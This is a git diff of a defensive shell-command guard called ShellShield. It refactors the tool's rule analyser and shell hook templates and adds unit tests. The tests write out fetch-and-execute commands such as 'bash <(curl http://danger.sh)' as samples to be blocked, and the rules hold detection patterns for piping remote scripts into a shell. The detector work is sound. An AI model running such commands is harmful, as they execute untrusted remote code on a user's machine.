diff --git a/src/cli.ts b/src/cli.ts index e6370cf..1a7e842 100644 --- a/src/cli.ts +++ b/src/cli.ts @@ -137,36 +137,36 @@ async function promptConfirmation(command: string, reason: string): Promise { const result = checkDestructive(command); - if (!result.blocked) { - logAudit(command, result, { source, mode: config?.mode, threshold: config?.threshold, decision: "allowed" }); - return true; - } - - if (config?.mode === "permissive") { - const warningHeader = `⚠️ ShellShield WARNING: Command '${command}' would be blocked in enforce mode.`; - console.error( - `${warningHeader}\n` + - `Reason: ${result.reason}\n` + - `Suggestion: ${result.suggestion}` - ); - logAudit(command, { ...result, blocked: false }, { source, mode: config?.mode, threshold: config?.threshold, decision: "warn" }); - return true; - } - - if (config?.mode === "interactive") { - const confirmed = await promptConfirmation(command, result.reason); - if (confirmed) { - logAudit(command, { ...result, blocked: false }, { source, mode: config?.mode, threshold: config?.threshold, decision: "approved" }); - const msg = "Approved. Command will execute."; - const tty = process.stderr.isTTY; - console.error(tty ? `\x1b[32m${msg}\x1b[0m` : msg); + if (result.blocked) { + if (config?.mode === "permissive") { + const warningHeader = `⚠️ ShellShield WARNING: Command '${command}' would be blocked in enforce mode.`; + console.error( + `${warningHeader}\n` + + `Reason: ${result.reason}\n` + + `Suggestion: ${result.suggestion}` + ); + logAudit(command, { ...result, blocked: false }, { source, mode: config?.mode, threshold: config?.threshold, decision: "warn" }); return true; } + + if (config?.mode === "interactive") { + const confirmed = await promptConfirmation(command, result.reason); + if (confirmed) { + logAudit(command, { ...result, blocked: false }, { source, mode: config?.mode, threshold: config?.threshold, decision: "approved" }); + const msg = "Approved. Command will execute."; + const tty = process.stderr.isTTY; + console.error(tty ? `\x1b[32m${msg}\x1b[0m` : msg); + return true; + } + } + + logAudit(command, result, { source, mode: config?.mode, threshold: config?.threshold, decision: "blocked" }); + showBlockedMessage(result.reason, result.suggestion); + return false; } - logAudit(command, result, { source, mode: config?.mode, threshold: config?.threshold, decision: "blocked" }); - showBlockedMessage(result.reason, result.suggestion); - return false; + logAudit(command, result, { source, mode: config?.mode, threshold: config?.threshold, decision: "allowed" }); + return true; } async function handleCheck(args: string[], config: any): Promise { @@ -271,148 +271,22 @@ function handleScore(args: string[], config: any): void { process.exit(0); } +import { SHELL_TEMPLATES } from "./integrations/templates"; + function handleInit(): void { const shellPath = process.env.SHELL || ""; const fallbackShell = !shellPath && (process.env.PSModulePath || process.env.ComSpec) ? "powershell" : "bash"; const shellNameRaw = shellPath.split(/[\\/]/).pop() || fallbackShell; const shellName = shellNameRaw.replace(/\.exe$/i, "").toLowerCase(); - if (shellName === "zsh") { - console.log(` -# ShellShield Zsh Integration -_shellshield_accept_line() { - if [[ -n "$SHELLSHIELD_SKIP" ]]; then - zle .accept-line - return - fi - if command -v bun >/dev/null 2>&1; then - bun run "${process.argv[1]}" --check "$BUFFER" || return $? - fi - zle .accept-line -} -zle -N accept-line _shellshield_accept_line -autoload -Uz add-zsh-hook -add-zsh-hook -d preexec _shellshield_preexec 2>/dev/null -unfunction _shellshield_preexec 2>/dev/null - -# Optional: auto-refresh alias/function context snapshot -# Enable by setting: export SHELLSHIELD_AUTO_SNAPSHOT=1 -if [[ "$SHELLSHIELD_AUTO_SNAPSHOT" == "1" ]]; then - if [[ -z "$SHELLSHIELD_CONTEXT_PATH" ]]; then - export SHELLSHIELD_CONTEXT_PATH="$HOME/.shellshield/shell-context.json" - fi - if [[ -z "$_SHELLSHIELD_CONTEXT_SYNCED" ]]; then - export _SHELLSHIELD_CONTEXT_SYNCED=1 - if command -v bun >/dev/null 2>&1; then - bun run "${process.argv[1]}" --snapshot --out "$SHELLSHIELD_CONTEXT_PATH" >/dev/null 2>&1 - fi - fi -fi - -# Optional: bracketed paste safety (zsh only) -# Enable by setting: export SHELLSHIELD_PASTE_HOOK=1 -if [[ "$SHELLSHIELD_PASTE_HOOK" == "1" ]]; then - _shellshield_bracketed_paste() { - local before_left="$LBUFFER" - local before_right="$RBUFFER" - zle .bracketed-paste - local pasted="\${LBUFFER#$before_left}" - if [[ -n "$pasted" ]]; then - if command -v bun >/dev/null 2>&1; then - printf "%s" "$pasted" | bun run "${process.argv[1]}" --paste || { - LBUFFER="$before_left" - RBUFFER="$before_right" - return 1 - } - fi - fi - } - zle -N bracketed-paste _shellshield_bracketed_paste -fi - `); - } else if (shellName === "fish") { - console.log(` -# ShellShield Fish Integration -function __shellshield_preexec --on-event fish_preexec - if test -n "$SHELLSHIELD_SKIP" - return - end - if type -q bun - set -l cmd $argv - if test (count $cmd) -gt 1 - set -l cmd (string join " " -- $cmd) - end - if test -n "$cmd" - bun run "${process.argv[1]}" --check "$cmd"; or return $status - end - end -end - -# Optional: auto-refresh alias/function context snapshot -# Enable by setting: set -gx SHELLSHIELD_AUTO_SNAPSHOT 1 -if test "$SHELLSHIELD_AUTO_SNAPSHOT" = "1" - if test -z "$SHELLSHIELD_CONTEXT_PATH" - set -gx SHELLSHIELD_CONTEXT_PATH "$HOME/.shellshield/shell-context.json" - end - if test -z "$_SHELLSHIELD_CONTEXT_SYNCED" - set -gx _SHELLSHIELD_CONTEXT_SYNCED 1 - if type -q bun - bun run "${process.argv[1]}" --snapshot --out "$SHELLSHIELD_CONTEXT_PATH" >/dev/null 2>&1 - end - end -end - `); - } else if (shellName === "pwsh" || shellName === "powershell") { - console.log(` -# ShellShield PowerShell Integration -if (Get-Command Set-PSReadLineKeyHandler -ErrorAction SilentlyContinue) { - Set-PSReadLineKeyHandler -Key Enter -ScriptBlock { - param($key, $arg) - if ($env:SHELLSHIELD_SKIP) { - [Microsoft.PowerShell.PSConsoleReadLine]::AcceptLine() - return - } - if (Get-Command bun -ErrorAction SilentlyContinue) { - $line = $null - $cursor = $null - [Microsoft.PowerShell.PSConsoleReadLine]::GetBufferState([ref]$line, [ref]$cursor) - if ($line) { - bun run "${process.argv[1]}" --check $line - if ($LASTEXITCODE -ne 0) { return } - } - } - [Microsoft.PowerShell.PSConsoleReadLine]::AcceptLine() - } -} else { - Write-Host "PSReadLine not available; cannot hook Enter key." -} - `); - } else { - console.log(` -# ShellShield Bash Integration -_shellshield_bash_preexec() { - if [[ -n "$SHELLSHIELD_SKIP" ]]; then return 0; fi - if command -v bun >/dev/null 2>&1; then - bun run "${process.argv[1]}" --check "$BASH_COMMAND" || return $? - fi -} -trap '_shellshield_bash_preexec' DEBUG - -# Optional: auto-refresh alias/function context snapshot -# Enable by setting: export SHELLSHIELD_AUTO_SNAPSHOT=1 -if [[ "$SHELLSHIELD_AUTO_SNAPSHOT" == "1" ]]; then - if [[ -z "$SHELLSHIELD_CONTEXT_PATH" ]]; then - export SHELLSHIELD_CONTEXT_PATH="$HOME/.shellshield/shell-context.json" - fi - if [[ -z "$_SHELLSHIELD_CONTEXT_SYNCED" ]]; then - export _SHELLSHIELD_CONTEXT_SYNCED=1 - if command -v bun >/dev/null 2>&1; then - bun run "${process.argv[1]}" --snapshot --out "$SHELLSHIELD_CONTEXT_PATH" >/dev/null 2>&1 - fi - fi -fi - `); - } + + let templateKey = "bash"; + if (shellName === "zsh") templateKey = "zsh"; + else if (shellName === "fish") templateKey = "fish"; + else if (shellName === "pwsh" || shellName === "powershell") templateKey = "powershell"; + + const template = SHELL_TEMPLATES[templateKey] || SHELL_TEMPLATES.bash; + console.log(template.replaceAll("{{CLI_PATH}}", process.argv[1])); process.exit(0); } diff --git a/src/integrations/templates.ts b/src/integrations/templates.ts new file mode 100644 index 0000000..e57ce2e --- /dev/null +++ b/src/integrations/templates.ts @@ -0,0 +1,129 @@ +export const SHELL_TEMPLATES: Record = { + zsh: ` +# ShellShield Zsh Integration +_shellshield_accept_line() { + if [ -n "$SHELLSHIELD_SKIP" ]; then + zle .accept-line + return + fi + if command -v bun >/dev/null 2>&1; then + bun run "{{CLI_PATH}}" --check "$BUFFER" || return $? + fi + zle .accept-line +} +zle -N accept-line _shellshield_accept_line +autoload -Uz add-zsh-hook +add-zsh-hook -d preexec _shellshield_preexec 2>/dev/null +unfunction _shellshield_preexec 2>/dev/null + +# Optional: auto-refresh alias/function context snapshot +if [ "$SHELLSHIELD_AUTO_SNAPSHOT" = "1" ]; then + if [ -z "$SHELLSHIELD_CONTEXT_PATH" ]; then + export SHELLSHIELD_CONTEXT_PATH="$HOME/.shellshield/shell-context.json" + fi + if [ -z "$_SHELLSHIELD_CONTEXT_SYNCED" ]; then + export _SHELLSHIELD_CONTEXT_SYNCED=1 + if command -v bun >/dev/null 2>&1; then + bun run "{{CLI_PATH}}" --snapshot --out "$SHELLSHIELD_CONTEXT_PATH" >/dev/null 2>&1 + fi + fi +fi + +# Optional: bracketed paste safety +if [ "$SHELLSHIELD_PASTE_HOOK" = "1" ]; then + _shellshield_bracketed_paste() { + local before_left="$LBUFFER" + local before_right="$RBUFFER" + zle .bracketed-paste + local pasted="\${LBUFFER#$before_left}" + if [ -n "$pasted" ]; then + if command -v bun >/dev/null 2>&1; then + printf "%s" "$pasted" | bun run "{{CLI_PATH}}" --paste || { + LBUFFER="$before_left" + RBUFFER="$before_right" + return 1 + } + fi + fi + } + zle -N bracketed-paste _shellshield_bracketed_paste +fi +`, + fish: ` +# ShellShield Fish Integration +function __shellshield_preexec --on-event fish_preexec + if test -n "$SHELLSHIELD_SKIP" + return + end + if type -q bun + set -l cmd $argv + if test (count $cmd) -gt 1 + set -l cmd (string join " " -- $cmd) + end + if test -n "$cmd" + bun run "{{CLI_PATH}}" --check "$cmd"; or return $status + end + end +end + +# Optional: auto-refresh alias/function context snapshot +if test "$SHELLSHIELD_AUTO_SNAPSHOT" = "1" + if test -z "$SHELLSHIELD_CONTEXT_PATH" + set -gx SHELLSHIELD_CONTEXT_PATH "$HOME/.shellshield/shell-context.json" + end + if test -z "$_SHELLSHIELD_CONTEXT_SYNCED" + set -gx _SHELLSHIELD_CONTEXT_SYNCED 1 + if type -q bun + bun run "{{CLI_PATH}}" --snapshot --out "$SHELLSHIELD_CONTEXT_PATH" >/dev/null 2>&1 + end + end +end +`, + bash: ` +# ShellShield Bash Integration +_shellshield_bash_preexec() { + if [ -n "$SHELLSHIELD_SKIP" ]; then return 0; fi + if command -v bun >/dev/null 2>&1; then + bun run "{{CLI_PATH}}" --check "$BASH_COMMAND" || return $? + fi +} +trap '_shellshield_bash_preexec' DEBUG + +# Optional: auto-refresh alias/function context snapshot +if [ "$SHELLSHIELD_AUTO_SNAPSHOT" = "1" ]; then + if [ -z "$SHELLSHIELD_CONTEXT_PATH" ]; then + export SHELLSHIELD_CONTEXT_PATH="$HOME/.shellshield/shell-context.json" + fi + if [ -z "$_SHELLSHIELD_CONTEXT_SYNCED" ]; then + export _SHELLSHIELD_CONTEXT_SYNCED=1 + if command -v bun >/dev/null 2>&1; then + bun run "{{CLI_PATH}}" --snapshot --out "$SHELLSHIELD_CONTEXT_PATH" >/dev/null 2>&1 + fi + fi +fi +`, + powershell: ` +# ShellShield PowerShell Integration +if (Get-Command Set-PSReadLineKeyHandler -ErrorAction SilentlyContinue) { + Set-PSReadLineKeyHandler -Key Enter -ScriptBlock { + param($key, $arg) + if ($env:SHELLSHIELD_SKIP) { + [Microsoft.PowerShell.PSConsoleReadLine]::AcceptLine() + return + } + if (Get-Command bun -ErrorAction SilentlyContinue) { + $line = $null + $cursor = $null + [Microsoft.PowerShell.PSConsoleReadLine]::GetBufferState([ref]$line, [ref]$cursor) + if ($line) { + bun run "{{CLI_PATH}}" --check $line + if ($LASTEXITCODE -ne 0) { return } + } + } + [Microsoft.PowerShell.PSConsoleReadLine]::AcceptLine() + } +} else { + Write-Host "PSReadLine not available; cannot hook Enter key." +} +`, +}; diff --git a/src/parser/analyzer.ts b/src/parser/analyzer.ts index da862ab..4b3f4d2 100644 --- a/src/parser/analyzer.ts +++ b/src/parser/analyzer.ts @@ -73,9 +73,10 @@ export function checkDestructive( }; for (const rule of rules) { - if (rule.phase !== "pre") continue; - const result = annotateRule(rule.name, rule.check(stringContext)); - if (result?.blocked) return result; + if (rule.phase === "pre") { + const result = annotateRule(rule.name, rule.check(stringContext)); + if (result?.blocked) return result; + } } // 2. Parse Command @@ -102,9 +103,10 @@ export function checkDestructive( }; for (const rule of rules) { - if (rule.phase !== "post") continue; - const result = annotateRule(rule.name, rule.check(fullContext)); - if (result?.blocked) return result; + if (rule.phase === "post") { + const result = annotateRule(rule.name, rule.check(fullContext)); + if (result?.blocked) return result; + } } return { blocked: false }; diff --git a/src/parser/command-checks.ts b/src/parser/command-checks.ts index 0d15746..d552f4f 100644 --- a/src/parser/command-checks.ts +++ b/src/parser/command-checks.ts @@ -2,6 +2,7 @@ import { BlockResult } from "../types"; import { isCriticalPath } from "../security/paths"; import { hasUncommittedChanges } from "../integrations/git"; import { ParsedEntry } from "./types"; +import { filterFlags, getTrashSuggestion, normalizeCommandName } from "./utils"; interface BlockedContext { blocked: Set; @@ -60,7 +61,7 @@ export function checkBlockedCommand( } } - const targetFiles = args.filter((arg) => !arg.startsWith("-")); + const targetFiles = filterFlags(args); if (targetFiles.length > context.threshold) { return { blocked: true, @@ -72,9 +73,9 @@ export function checkBlockedCommand( const gitCheck = checkGitIntegration(targetFiles); if (gitCheck) return gitCheck; - let suggestion = "trash "; + let suggestion = getTrashSuggestion([]); if (resolvedCmd === "rm" && targetFiles.length > 0) { - suggestion = `trash ${targetFiles.join(" ")}`; + suggestion = getTrashSuggestion(targetFiles); } return { @@ -90,7 +91,7 @@ export function checkFindCommand( ): BlockResult | null { const hasDelete = remaining.some((entry) => typeof entry === "string" && entry.toLowerCase() === "-delete"); if (hasDelete) { - return { blocked: true, reason: "find -delete detected", suggestion: "trash " }; + return { blocked: true, reason: "find -delete detected", suggestion: getTrashSuggestion([]) }; } const execIdx = remaining.findIndex( @@ -99,13 +100,12 @@ export function checkFindCommand( if (execIdx !== -1 && execIdx + 1 < remaining.length) { const execCmd = remaining[execIdx + 1]; if (typeof execCmd === "string") { - const parts = execCmd.split("/"); - const execName = (parts.pop() ?? "").toLowerCase(); + const execName = normalizeCommandName(execCmd); if (blockedCommands.has(execName)) { return { blocked: true, reason: `find -exec ${execCmd} detected`, - suggestion: "trash ", + suggestion: getTrashSuggestion([]), }; } } diff --git a/src/parser/pipe-checks.test.ts b/src/parser/pipe-checks.test.ts new file mode 100644 index 0000000..2f8e0ff --- /dev/null +++ b/src/parser/pipe-checks.test.ts @@ -0,0 +1,19 @@ +import { describe, expect, test } from "bun:test"; +import { checkPipeToShell } from "./pipe-checks"; +import { ParsedEntry } from "./types"; + +describe("pipe-checks missing coverage", () => { + test("handles malformed URL in cred check", () => { + const args = ["https://[not-a-valid-ip]"]; + const remaining: ParsedEntry[] = []; + const result = checkPipeToShell(args, remaining, []); + expect(result).toBeNull(); + }); + + test("handles non-string tokens in pipe check", () => { + const args = ["curl", "http://trusted.com"]; + const remaining: ParsedEntry[] = ["curl", { op: "|" }, { op: ">" }]; + const result = checkPipeToShell(args, remaining, ["trusted.com"]); + expect(result).toBeNull(); + }); +}); diff --git a/src/parser/pipe-checks.ts b/src/parser/pipe-checks.ts index 8bdd001..962f1a7 100644 --- a/src/parser/pipe-checks.ts +++ b/src/parser/pipe-checks.ts @@ -2,6 +2,7 @@ import { SHELL_COMMANDS } from "../constants"; import { isTrustedDomain } from "../security/validators"; import { BlockResult } from "../types"; import { ParsedEntry, isOperator } from "./types"; +import { normalizeCommandName } from "./utils"; const INSECURE_FLAGS = new Set(["-k", "--insecure", "--no-check-certificate"]); @@ -11,12 +12,19 @@ export function checkPipeToShell( trustedDomains: string[] ): BlockResult | null { for (const arg of args) { - if (/^https?:\/\/[^/]+:[^/]+@/.test(arg)) { - return { - blocked: true, - reason: "CREDENTIAL EXPOSURE DETECTED", - suggestion: "Commands should not include credentials in URLs. Use environment variables or netrc.", - }; + if (arg.includes("://") && arg.includes("@")) { + try { + const urlObj = new URL(arg); + if (urlObj.username || urlObj.password) { + return { + blocked: true, + reason: "CREDENTIAL EXPOSURE DETECTED", + suggestion: "Commands should not include credentials in URLs. Use environment variables or netrc.", + }; + } + } catch { + continue; + } } } @@ -28,7 +36,7 @@ export function checkPipeToShell( const nextPart = remaining[pipeIdx + 1]; if (typeof nextPart !== "string") return null; - const nextCmd = nextPart.split("/").pop()?.toLowerCase() ?? ""; + const nextCmd = normalizeCommandName(nextPart); if (!SHELL_COMMANDS.has(nextCmd)) return null; const url = args.find((arg) => arg.startsWith("http")); diff --git a/src/parser/rules/CoreAstRule.ts b/src/parser/rules/CoreAstRule.ts index e263553..16cf763 100644 --- a/src/parser/rules/CoreAstRule.ts +++ b/src/parser/rules/CoreAstRule.ts @@ -7,20 +7,132 @@ import { checkSubshellCommand } from "../subshell"; import { SHELL_COMMANDS } from "../../constants"; import { isSensitivePath } from "../../security/paths"; import { getShellContextEntry, findBlockedTokenInShellContext } from "../../shell-context"; +import { normalizeCommandName, resolveVariable } from "../utils"; -/** - * Rule: Core AST Analysis - * Iterates through parsed shell tokens to detect complex threats like: - * - Process substitution (<(curl ...)) - * - Sensitive path writes (-o /etc/passwd) - * - Dangerous pipes (curl | bash) - * - Blocked commands (rm, mv critical paths) - * - Recursive subshells - */ export class CoreAstRule implements SecurityRule { readonly name = "CoreAstRule"; readonly phase = "post" as const; + check(context: RuleContext): BlockResult | null { + const { tokens, config, depth, recursiveCheck } = context; + const vars: Record = {}; + let nextMustBeCommand = true; + + let i = 0; + while (i < tokens.length) { + const entry = tokens[i]; + + if (isOperator(entry)) { + const opResult = this.handleOperator(entry, tokens[i + 1]); + if (opResult) return opResult; + nextMustBeCommand = true; + i++; + continue; + } + + if (typeof entry !== "string") { + i++; + continue; + } + + if (!nextMustBeCommand) { + this.checkEnvironmentVariable(entry, vars); + const pathCheck = this.checkSensitivePathWrite(entry, tokens, i); + if (pathCheck) return pathCheck; + i++; + continue; + } + + nextMustBeCommand = false; + if (this.checkEnvironmentVariable(entry, vars)) { + nextMustBeCommand = true; + i++; + continue; + } + + const normalizedEntry = entry.toLowerCase(); + + const curlCheck = this.checkCurlWget(normalizedEntry, tokens, i, config); + if (curlCheck) return curlCheck; + + const subCheck = this.checkBashSubshells(normalizedEntry, tokens, i); + if (subCheck) return subCheck; + + if (this.isCommandPrefix(normalizedEntry)) { + nextMustBeCommand = true; + i++; + continue; + } + + if (normalizedEntry === "git" && this.isGitRm(tokens[i + 1])) { + i += 2; + continue; + } + + const commandResult = this.handleCommand(entry, i, context, vars); + if (commandResult) return commandResult; + + i++; + } + + return null; + } + + private handleOperator(opEntry: { op: string }, nextEntry: ParsedEntry | undefined): BlockResult | null { + if (opEntry.op === "<(") { + if (typeof nextEntry === "string") { + const normalizedNext = normalizeCommandName(nextEntry); + if (normalizedNext === "curl" || normalizedNext === "wget") { + return { + blocked: true, + reason: "PROCESS SUBSTITUTION DETECTED", + suggestion: "Executing remote scripts via process substitution is dangerous.", + }; + } + } + } + return null; + } + + private isCommandPrefix(entry: string): boolean { + return ["sudo", "xargs", "command", "env"].includes(entry); + } + + private isGitRm(nextEntry: ParsedEntry | undefined): boolean { + return typeof nextEntry === "string" && nextEntry.toLowerCase() === "rm"; + } + + private handleCommand(entry: string, i: number, context: RuleContext, vars: Record): BlockResult | null { + const { tokens, config, depth, recursiveCheck } = context; + const resolvedCmd = this.resolveCmdName(entry, vars); + + const ctxCheck = this.checkShellContext(resolvedCmd, config); + if (ctxCheck) return ctxCheck; + + if (config.allowed.has(resolvedCmd)) return null; + + const args = tokens.slice(i + 1).filter((item) => typeof item === "string") as string[]; + const blockedCheck = checkBlockedCommand(resolvedCmd, args, { + blocked: config.blocked, + threshold: config.threshold, + }); + if (blockedCheck) return blockedCheck; + + if (resolvedCmd === "find") { + const findCheck = checkFindCommand(tokens.slice(i + 1), config.blocked); + if (findCheck) return findCheck; + } + + if (SHELL_COMMANDS.has(resolvedCmd)) { + const subshellResult = checkSubshellCommand(tokens, i + 1, (subshellCmd) => { + return recursiveCheck(subshellCmd, depth + 1); + }); + if (subshellResult?.blocked) return subshellResult; + } + + return null; + } + private checkEnvironmentVariable(entry: string, vars: Record): boolean { if (entry.includes("=") && !entry.startsWith("-")) { const [key, ...valParts] = entry.split("="); @@ -81,24 +193,12 @@ export class CoreAstRule implements SecurityRule { } private resolveCmdName(entry: string, vars: Record): string { - const stripped = entry.startsWith("\\") ? entry.slice(1) : entry; - const basenamePart = stripped.split("/").pop() ?? ""; - - const resolvedVar = this.resolveVarToken(basenamePart, vars); + const name = normalizeCommandName(entry); + const resolvedVar = resolveVariable(entry, vars); if (resolvedVar) { - return resolvedVar.split("/").pop()?.toLowerCase() ?? ""; - } - return basenamePart.toLowerCase(); - } - - private checkGitRm(normalizedEntry: string, tokens: ParsedEntry[], i: number): number { - if (normalizedEntry === "git" && i + 1 < tokens.length) { - const next = tokens[i + 1]; - if (typeof next === "string" && next.toLowerCase() === "rm") { - return i + 1; - } + return normalizeCommandName(resolvedVar); } - return i; + return name; } private checkShellContext(resolvedCmd: string, config: any): BlockResult | null { @@ -120,91 +220,6 @@ export class CoreAstRule implements SecurityRule { return null; } - check(context: RuleContext): BlockResult | null { - const { tokens, config, depth, recursiveCheck } = context; - const vars: Record = {}; - let nextMustBeCommand = true; - - for (let i = 0; i < tokens.length; i++) { - const entry = tokens[i]; - - if (isOperator(entry)) { - if (entry.op === "<(") { - const next = tokens[i + 1]; - if (typeof next === "string" && (next === "curl" || next === "wget")) { - return { - blocked: true, - reason: "PROCESS SUBSTITUTION DETECTED", - suggestion: "Executing remote scripts via process substitution is dangerous.", - }; - } - } - nextMustBeCommand = true; - continue; - } - - if (typeof entry !== "string") continue; - - if (!nextMustBeCommand) { - this.checkEnvironmentVariable(entry, vars); - const pathCheck = this.checkSensitivePathWrite(entry, tokens, i); - if (pathCheck) return pathCheck; - continue; - } - - nextMustBeCommand = false; - if (this.checkEnvironmentVariable(entry, vars)) { - nextMustBeCommand = true; - continue; - } - - const normalizedEntry = entry.toLowerCase(); - const curlCheck = this.checkCurlWget(normalizedEntry, tokens, i, config); - if (curlCheck) return curlCheck; - - const subCheck = this.checkBashSubshells(normalizedEntry, tokens, i); - if (subCheck) return subCheck; - - if (["sudo", "xargs", "command", "env"].includes(normalizedEntry)) { - nextMustBeCommand = true; - continue; - } - - const nextI = this.checkGitRm(normalizedEntry, tokens, i); - if (nextI !== i) { - i = nextI; - continue; - } - - const resolvedCmd = this.resolveCmdName(entry, vars); - const ctxCheck = this.checkShellContext(resolvedCmd, config); - if (ctxCheck) return ctxCheck; - - if (config.allowed.has(resolvedCmd)) continue; - - const args = tokens.slice(i + 1).filter((item) => typeof item === "string") as string[]; - const blockedCheck = checkBlockedCommand(resolvedCmd, args, { - blocked: config.blocked, - threshold: config.threshold, - }); - if (blockedCheck) return blockedCheck; - - if (resolvedCmd === "find") { - const findCheck = checkFindCommand(tokens.slice(i + 1), config.blocked); - if (findCheck) return findCheck; - } - - if (SHELL_COMMANDS.has(resolvedCmd)) { - const subshellResult = checkSubshellCommand(tokens, i + 1, (subshellCmd) => { - return recursiveCheck(subshellCmd, depth + 1); - }); - if (subshellResult?.blocked) return subshellResult; - } - } - - return null; - } - private checkDownloadAndExec(remaining: ParsedEntry[], args: string[]): BlockResult | null { const outputFlagIndex = args.findIndex( (arg) => arg === "-o" || arg === "--output" @@ -236,29 +251,4 @@ export class CoreAstRule implements SecurityRule { return null; } - - private resolveVarToken(token: string, vars: Record): string | null { - if (!token) return null; - if (token.startsWith("$")) { - const inner = token.slice(1); - const defaultIdx = inner.indexOf(":-"); - const name = defaultIdx >= 0 ? inner.slice(0, defaultIdx) : inner; - const fallback = defaultIdx >= 0 ? inner.slice(defaultIdx + 2) : ""; - const val = vars[name] ?? process.env[name]; - if (val && val.length > 0) return val; - return fallback.length > 0 ? fallback : null; - } - - if (token.startsWith("${") && token.endsWith("}")) { - const inner = token.slice(2, -1); - const defaultIdx = inner.indexOf(":-"); - const name = defaultIdx >= 0 ? inner.slice(0, defaultIdx) : inner; - const fallback = defaultIdx >= 0 ? inner.slice(defaultIdx + 2) : ""; - const val = vars[name] ?? process.env[name]; - if (val && val.length > 0) return val; - return fallback.length > 0 ? fallback : null; - } - - return null; - } } diff --git a/src/parser/rules/RawThreatRule.ts b/src/parser/rules/RawThreatRule.ts index 9f4d0a7..1795d52 100644 --- a/src/parser/rules/RawThreatRule.ts +++ b/src/parser/rules/RawThreatRule.ts @@ -30,12 +30,12 @@ export class RawThreatRule implements SecurityRule { suggestion: "Avoid eval with remote content. Download and review the script first.", }, { - pattern: new RegExp(String.raw`(?:${this.interpreters.join("|")})\s+(?:${this.commandFlags.join("|")})\s+["']?\$\((curl|wget)\b`, "i"), + pattern: new RegExp(`(?:${this.interpreters.join("|")})\\s+(?:${this.commandFlags.join("|")})\\s+["']?\\$\\((curl|wget)\\b`, "i"), reason: "COMMAND SUBSTITUTION DETECTED", suggestion: "Executing remote scripts via command substitution is dangerous.", }, { - pattern: new RegExp(String.raw`(?:${this.interpreters.join("|")})\s+(?:${this.commandFlags.join("|")})\s+["']?\`(curl|wget)\b`, "i"), + pattern: new RegExp(`(?:${this.interpreters.join("|")})\\s+(?:${this.commandFlags.join("|")})\\s+["']?\`(curl|wget)\\b`, "i"), reason: "COMMAND SUBSTITUTION DETECTED", suggestion: "Executing remote scripts via command substitution is dangerous.", }, diff --git a/src/parser/substitution_normalization.test.ts b/src/parser/substitution_normalization.test.ts new file mode 100644 index 0000000..25fea67 --- /dev/null +++ b/src/parser/substitution_normalization.test.ts @@ -0,0 +1,28 @@ +import { describe, expect, test } from "bun:test"; +import { checkDestructive } from "./analyzer"; + +describe("CoreAstRule - Process Substitution normalization", () => { + test("blocks path-qualified curl in process substitution", () => { + const result = checkDestructive("bash <(/usr/bin/curl http://danger.sh)"); + expect(result.blocked).toBe(true); + expect(result.reason).toBe("PROCESS SUBSTITUTION DETECTED"); + }); + + test("blocks escaped curl in process substitution", () => { + const result = checkDestructive("bash <(\\curl http://danger.sh)"); + expect(result.blocked).toBe(true); + expect(result.reason).toBe("PROCESS SUBSTITUTION DETECTED"); + }); + + test("blocks uppercased CURL in process substitution", () => { + const result = checkDestructive("bash <(CURL http://danger.sh)"); + expect(result.blocked).toBe(true); + expect(result.reason).toBe("PROCESS SUBSTITUTION DETECTED"); + }); + + test("blocks wget in process substitution", () => { + const result = checkDestructive("sh <(wget -O- http://danger.sh)"); + expect(result.blocked).toBe(true); + expect(result.reason).toBe("PROCESS SUBSTITUTION DETECTED"); + }); +}); diff --git a/src/parser/utils.test.ts b/src/parser/utils.test.ts new file mode 100644 index 0000000..8a109ab --- /dev/null +++ b/src/parser/utils.test.ts @@ -0,0 +1,30 @@ +import { describe, expect, test } from "bun:test"; +import { normalizeCommandName, resolveVariable, filterFlags, getTrashSuggestion } from "./utils"; + +describe("Parser Utils", () => { + test("normalizeCommandName handles empty input", () => { + expect(normalizeCommandName("")).toBe(""); + }); + + test("resolveVariable handles invalid format", () => { + expect(resolveVariable("NOT_A_VAR", {})).toBeNull(); + expect(resolveVariable("$", {})).toBeNull(); + expect(resolveVariable("${}", {})).toBeNull(); + }); + + test("resolveVariable handles empty result", () => { + expect(resolveVariable("$EMPTY", { EMPTY: "" })).toBeNull(); + }); + + test("resolveVariable handles fallback with empty value", () => { + expect(resolveVariable("${UNDEFINED:-fallback}", {})).toBe("fallback"); + }); + + test("filterFlags identifies flags correctly", () => { + expect(filterFlags(["-f", "--force", "file.txt"])).toEqual(["file.txt"]); + }); + + test("getTrashSuggestion handles empty file list", () => { + expect(getTrashSuggestion([])).toBe("trash "); + }); +}); diff --git a/src/parser/utils.ts b/src/parser/utils.ts new file mode 100644 index 0000000..e58bd11 --- /dev/null +++ b/src/parser/utils.ts @@ -0,0 +1,42 @@ +import { ParsedEntry } from "./types"; + +export function normalizeCommandName(token: string): string { + if (!token) return ""; + const stripped = token.startsWith("\\") ? token.slice(1) : token; + const basenamePart = stripped.split("/").pop() ?? ""; + return basenamePart.toLowerCase(); +} + +export function resolveVariable(token: string, vars: Record): string | null { + if (!token) return null; + + let name = ""; + let fallback = ""; + + if (token.startsWith("${") && token.endsWith("}")) { + const inner = token.slice(2, -1); + const defaultIdx = inner.indexOf(":-"); + name = defaultIdx >= 0 ? inner.slice(0, defaultIdx) : inner; + fallback = defaultIdx >= 0 ? inner.slice(defaultIdx + 2) : ""; + } else if (token.startsWith("$")) { + const inner = token.slice(1); + const defaultIdx = inner.indexOf(":-"); + name = defaultIdx >= 0 ? inner.slice(0, defaultIdx) : inner; + fallback = defaultIdx >= 0 ? inner.slice(defaultIdx + 2) : ""; + } else { + return null; + } + + const val = vars[name] ?? process.env[name]; + if (val && val.length > 0) return val; + return fallback.length > 0 ? fallback : null; +} + +export function filterFlags(args: string[]): string[] { + return args.filter((arg) => !arg.startsWith("-")); +} + +export function getTrashSuggestion(files: string[]): string { + if (files.length === 0) return "trash "; + return `trash ${files.join(" ")}`; +}